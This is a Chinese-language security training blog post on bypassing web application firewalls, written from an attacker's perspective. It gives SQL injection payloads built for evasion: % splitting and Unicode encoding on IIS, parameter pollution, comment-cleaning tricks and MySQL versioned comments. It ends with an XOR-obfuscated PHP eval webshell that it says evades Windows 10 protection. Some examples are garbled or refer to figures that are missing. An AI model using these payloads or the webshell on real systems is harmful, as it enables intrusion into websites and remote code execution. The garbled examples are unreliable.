WAF是如何被绕过的？

作者：掌控安全-暗箭

不知不觉来到掌控学院也快两个月了，想起俩个月前，从零开始，一步一个脚印的走到现在。虽然有时很疲惫，但是却很快乐。

在下才疏学浅，仅在这里发表一下不成熟的见解，希望对大家的提升有所帮助

首先我们要了解什么是waf：

Web应用防火墙，Web Application Firewall的简称

我们口头相谈的waf有什么功能呢？

WAF可以发现和拦截各类Web层面的攻击，记录攻击日志，实时预警提醒，在Web应用本身存在缺陷的情况下保障其安全。

但是，WAF不是万能的、完美的、无懈可击的，在种种原因下，它们也会有各自的缺陷，作为用户不可以盲目相信WAF而不注重自身的安全。

我们来看一下目前主流的WAF绕过技术：

作为攻击者，我们要清楚我们利用哪方面来进行绕过：

Web容器的特性
Web应用层的问题
WAF自身的问题
数据库的一些特性

Web容器特性1

在IIS+ASP的环境中，对于URL请求的参数值中的%，如果和后面的字符构成的字符串在URL编码表之外，ASP脚本处理时会将其忽略。

现在假设有如下请求：

http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in

在WAF层，获取到的id参数值为 1 union all se%lect 1,2,3,4 fro%m adm%in ,此时waf因为 % 的分隔，无法检测出关键字 select from 等

但是因为IIS的特性，id获取的实际参数就变为 1 union all select 1,2,3,4 from admin ，从而绕过了waf。

这个特性仅在iis+asp上 asp.net并不存在。

Web容器特性2

IIS的Unicode编码字符

IIS支持Unicode编码字符的解析，但是某些WAF却不一定具备这种能力。

//已知 ‘s’ 的unicode编码为：%u0053, ‘f’ 的unicode编码为 %u0066

如下：

http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin

但是IIS后端检测到了Unicode编码会将其自动解码，脚本引擎和数据库引擎最终获取到的参数会是： 1 union all select 1,2,3,4 from admin

这种情况需要根据不同的waf进行相应的测试，并不是百发百中。但是对于绕过来说，往往只要一个字符成功绕过即可达到目的。

Web容器特性3

HPP(HTTP Parameter Pollution): HTTP参数污染:

如下图

在HTTP协议中是允许同样名称的参数出现多次的。例如:

http://zkaq666.com/1.asp?id=123&id=456 这个请求。

根据WAF的不同，一般会同时分开检查 id=123 和 id=456 ，也有的仅可能取其中一个进行检测。但是对于 IIS+ASP/ASP.NET来说，它最终获取到的ID参数的值是123,空格456(asp)或123,456(asp.net)。

所以对于这类过滤规则，攻击者可以通过：

id=union+select+password/&id=/from+admin来逃避对 select * from 的检测。因为HPP特性，id的参数值最终会变为：union select password/,/from admin

Web容器的特性 –4

畸形HTTP请求

当向Web服务器发送畸形的,非RFC2616标准的HTTP请求时, Web服务器出于兼容的目的，会尽可能解析畸形HTTP请求。而如果Web服务器的兼容方式与WAF不一致,则可能会出现绕过的情况。下面来看这个POST请求:

如果将请求改为

这个请求包就就变为了: Method不合法,没有协议字段HTTP/1.1 ,也没有Host字段。

如果在HTTP/1.1协议中，缺少HOST字段会返回400 bad request。但是某些版本的Apache在处理这个请求时,默认会设置协议为HTTP/0.9 , Host坝默认使用Apache默认的servername ,这种畸形的请求仍然能够被处理。

如果某些WAF在处理数据的时候严格按照GET,POST等方式来获取数据,或者通过正则来处理数据库包,就会因为某些版本的Apache宽松的请求方式而被绕过。

Web应用层的问题 -1

多重编码问题

如果Web应用程序能够接收多重编码的数据，而WAF只能解码一层(或少于WEB应用程序能接收的层数)时，WAF会因为解码不完全导致防御机制被绕过。

Web应用层的问题 -2

多数据来源的问题

如Asp和Asp.NET中的Request对象对于请求数据包的解析过于宽松，没有依照RFC的标准来，开发人员在编写代码时如果使用如下方式接收用户传入的参数

ID=Request(“ID”)
ID=Request.Params(“ID”)

WEB程序可从以下3种途径获取到参数ID的参数值：

从GET请求中获取ID的参数值；
如果GET请求中没有ID参数，尝试从POST的ID参数中获取参数值；
如果GET和POST中都获取不到ID的参数值，那么从Cookies中的ID参数获取参数值。

这样对于某些WAF来说，如果仅检查了GET或POST的，那么来自Cookie的注入攻击就无能为力了，更何况来自于这三种方式组合而成的参数污染的绕过方法呢？

WAF自身的问题 – 1

白名单机制

WAF存在某些机制，不处理和拦截白名单中的请求数据：

1.指定IP或IP段的数据。
2.来自于搜索引擎爬虫的访问数据。
3.其他特征的数据

如以前某些WAF为了不影响站点的优化，将User-Agent为某些搜索引擎（如谷歌）的请求当作白名单处理，不检测和拦截。伪造HTTP请求的User-Agent非常容易，只需要将HTTP请求包中的User-Agent修改为谷歌搜索引擎的User-Agent即可畅通无阻。

WAF自身的问题 – 2

数据获取方式存在缺陷

某些WAF无法全面支持GET、POST、Cookie等各类请求包的检测，当GET请求的攻击数据包无法绕过时，转换成POST可能就绕过去了。或者，POST以 Content-Type: application/x-www-form-urlencoded 无法绕过时，转换成上传包格式的Content-Type: multipart/form-data 就能够绕过去

WAF自身的问题 – 3

数据处理不恰当

1、%00截断将 %00 进行URL解码，即是C语言中的NULL字符

如果WAF对获取到的数据存储和处理不当，那么 %00 解码后会将后面的数据截断，造成后面的数据没有经过检测。

解析：WAF在获取到参数id的值并解码后，参数值将被截断成 1/* ，后面的攻击语句将没有被WAF拿去进行检测。

2、&字符处理

这些WAF会使用&符号分割 par1 、 par2 和 par3 ，然后对其参数值进行检测。但是，如果遇到这种构造：

waf会将上传的参数分解成3部分:

如果将这3个参数分别进行检测，某些WAF是匹配不到攻击特征的。

这里的 %26 是 & 字符

/%26/->/&/ 其实只是一个SQL的注释而已

WAF自身的问题 – 4

数据清洗不恰当

当攻击者提交的参数值中存在大量干扰数据时，如大量空格、TAB、换行、%0c、注释等，WAF需要对其进行清洗，筛选出真实的攻击数据进行检测，以提高检查性能，节省资源。

如果WAF对数据的清洗不恰当，会导致真实的攻击数据被清洗，剩余的数据无法被检测出攻击行为。

WAF自身的问题 – 5

规则通用性问题

通用型的WAF，一般无法获知后端使用的是哪些WEB容器、什么数据库、以及使用的什么脚本语言。每一种WEB容器、数据库以及编程语言，它们都有自己的特性，想使用通用的WAF规则去匹配和拦截，是非常难的。

通用型WAF在考虑到它们一些共性的同时，也必须兼顾它们的特性，否则就很容易被一些特性给Bypass！

WAF自身的问题 – 6

为性能和业务妥协

要全面兼容各类Web Server及各类数据库的WAF是非常难的，为了普适性，需要放宽一些检查条件，暴力的过滤方式会影响业务。

对于通用性较强的软WAF来说，不得不考虑到各种机器和系系统的性能，故对于一些超大数据包、超长数据可能会跳过不检测。

以上就是WAF自身的一些问题，接下来我们会针对这些问题进行讲解，看看WAF是怎么受这些问题影响的。

然后是数据库的一些特性，不同的数据库有一些属于自己的特性，WAF如果不能处理好这些特性，就会出很大的问题。

总结一下，WAF自身的问题有：总结一下，WAF自身的问题有：

白名单机制
数据获取方式存在缺陷
数据处理不恰当
数据清洗不恰当
规则通用性问题
为性能和业务妥协

实例讲解WAF绕过的思路和方法

一、数据提取方式存在缺陷，导致WAF被绕过

某些WAF从数据包中提取检测特征的方式存在缺陷，如正则表达式不完善，某些攻击数据因为某些干扰字符的存在而无法被提取。

示例:

http://localhost/test/Article. php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/

某WAF在后端会将删除线部分当作注释清洗掉:

Request:

http://localhost/Article.php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/

WAF:

http://localhost/Article.php?type=1&x=+8id- 2 union ol seleet 1.23,45 from etual8y +

二、数据清洗方式不正确，导致WAF被绕过

当攻击者提交的参数值中存在大量干扰数据时，如大量空格、TAB、换行、%0C、注释等，WAF需要对其进行清洗:

(为提升性能和降低规则复杂性)，筛选出真实的攻击数据进行检测，但是，如果清洗方式不正确，会导致真正的攻击部分被清洗，然后拿去检测的是不含有攻击向量的数据，从而被Bypass!

实例：

htp://localhostest/Article .php?id9999-“/*“ union all select 1,2,3,4,5 as “*/“from mysql.user

某些WAF会将9999-“/*“ union all select 1 ,2,3, 4,5 as “/*” from mysql.user清洗为: 9999-“”from mysql.user

然后去检测是否有攻击特征,如果没有,执行原始语句:

9999-“/*“ union all select 1,2,3,4,5 as “*/“ from mysql.user

如：

http://abcd.com?id=9999-"/*“ union a11 select 1,2,3,4,5 as “*/“ frommysq1. user

某些WAF会将9999-“/*“ union a11 select 1,2,3,4,5 as “*/“ from mysq1. user清洗为:

9999-“” from mysq1.user然后去检测是否有攻击特征,如果没有，执行原始语句:9999”/*“ union all select 1,2,3,4,5 as “*/“ from mysq1 .user

其实，对于 /*来说，它只是一个字符串

对于 */ 来说，它也是一个字符串，在这里还充当一个别名

但是对于WAF来说，它会认为这是多行注释符，把中间的内容清洗掉去进行检测，当然检测不到什么东西。

三、规则通用性问题，导致WAF被绕过

比如对SQL注入数据进行清洗时，WAF一般不能知道后端数据库是MySQL还是SQL Server，那么对于MySQL 的 /*!50001Select*/ 来说，这是一个Select的命令，而对于SQL Server来说，这只不过是一个注释而已，注释的内容为 !50001Select 。

尤其是对于通用性WAF，这一点相当难做，很难去处理不同数据库的特性之间的问题。

大家可以发现，很多WAF对错误的SQL语句是不拦截的。

同样的，在Mysql中 # 是注释，但是在SQL Server中 # 只是一个字符串。

那么如下语句： 9999’ and 1=(select top 1 name as # from master..sysdatabases)— 会被当作为： 9999’ and 1=(select top 1 name as 注释

其实，这里的 # 只是一个字符，充当一个别名的角色而已。

如果后端数据库是SQL Server，这样的语句是没问题的。但是通用型WAF怎么能知道后端是SQL Server呢？

WAF对上传的检测和处理

一、为性能和业务妥协

对于通用性较强的软WAF来说，不得不考虑到各种机器和系统的性能，故对于一些超大数据包、超长数据可能会跳过不检测。

在上传数据包部分，强行添加5万个字符，有些WAF会直接不检测放行，或者，检测其中的一部分。比如，检测最前面5w个字符有没有攻击特征，如果没有，放行。

针对这种，不能光靠WAF，我们应该在我们的WEB容器层面或应用程序层面来限定上传数据的大小。所以，我们不能过度依赖于WAF。

还有很多如绕过D盾木马拦截waf的方法:

其实万变不离其踪，绕过的关键在于构建灵巧的payload

一下是我了解的一个木马绕过方法，win10的防护不会对其进行拦截

<?php
$a = “~+d()”^”!{+{}”;
$b = ${$a}[a];
eval(“n”.$b);
?>

//变量$a的值我是利用异或赋值的，$a = “~+d()”^”!{+{}”;，而字符串”~+d()”^”!{+{}”异或的结果为_POST,然后$b = ${$a}[a];与$b = $_POST[a]等价，在将其传入eval()中

但是单纯的一句话木马：<?php eval($_REQUEST[a]);?>是绝对不可能在对方电脑上正常执行的所以我们还是要不断与时俱进的

文笔拙劣各位见谅哦~

（完）